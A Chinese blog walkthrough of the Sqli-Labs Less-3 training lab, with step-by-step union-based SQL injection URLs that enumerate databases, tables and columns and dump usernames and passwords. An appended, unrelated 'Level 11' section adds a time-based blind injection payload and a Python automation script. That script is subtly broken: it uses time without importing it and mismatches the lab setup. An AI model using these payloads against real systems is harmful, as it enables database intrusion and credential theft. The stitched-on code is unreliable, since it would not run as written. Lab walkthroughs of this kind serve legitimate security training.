Sqli-Labs闯关—Less3

Sqli-Labs闯关—Less3

基于错误的GET单引号变形字符型注入

(1)判断注入类型

输入?id=1’ 页面显示不正常,出现一个括号),怀疑sql语句是以括号闭合的
http://localhost/sqli-labs-master/Less-3/?id=1’

在这里插入图片描述

输入?id=1’)–+页面回显正常,说明此处是字符型注入,而且是以(’’)的方式闭合字符串的。

在这里插入图片描述(2)使用order by判断列数

输入order by 3页面回显正常,输入order by 4页面回显不正常,说明列数为3列。

在这里插入图片描述
在这里插入图片描述(3)判断显示位

将id改成一个不存在的值-1,使第一个select查询结果为空。使用union select 1,2,3联合查询查看页面是否有显示位。

在这里插入图片描述

页面显示2,3,说明页面有两个显示位。

(4)获取数据库名

查看所有数据库,输入http://url/?id=-1’) union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

在这里插入图片描述

查看当前数据库名称,输入
http://url/?id=-1’) union select 1,database(),3 --+

在这里插入图片描述
(5)查询表名

查询security库中所有的表名
http://url/?id=-1’) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 --+

在这里插入图片描述
(6)查询列名

查询users表中的列名
http://url/?id=-1’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 --+

在这里插入图片描述(7)查询字段中的数值

查询users表中username和password的字段值
http://url/?id=-1’) union select 1,
(select group_concat(username) from users),
(select group_concat(password) from users) --+

在这里插入图片描述

### SQLi Labs Level 11 解决方案 对于SQL注入实验室(SQLi Labs)中的第十一关,目标是在存在漏洞的应用程序中利用基于布尔盲注的SQL注入来获取数据库版本信息。 应用程序源码显示输入框用于查询用户的ID。当提交特定参数`id=1' and if(ascii(substring(@@version,1,1))>0,sleep(5),0)-- `时,如果条件成立,则服务器会延迟响应五秒[^1]。这表明可以通过调整ASCII值比较以及改变`substring`函数内的位置索引来逐位推断出MySQL版本字符串的内容。 为了实现自动化攻击过程并提高效率,可以编写Python脚本来执行时间延迟测试: ```python import requests import string url = "http://localhost/sqli/Less-11/?id=1" true_condition_delay = 5 # 延迟的时间长度 database_version_length = 5 # 数据库版本号预期的最大字符数 charset = string.printable[:94] def check(payload): start_time = time.time() response = requests.get(url + payload) elapsed_time = time.time() - start_time return elapsed_time >= true_condition_delay for position in range(1,database_version_length+1): for char in charset: hex_value = hex(ord(char))[2:] injection_string = f"' AND IF(Ascii(Substr(@@version,{position},1))={ord(char)},Sleep({true_condition_delay}),0)%23" if check(injection_string): print(f"Character found: {char}") break ``` 此代码片段通过遍历可打印字符集尝试每一位可能的字符直到找到匹配项为止,并输出构成最终版本号的部分字符。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值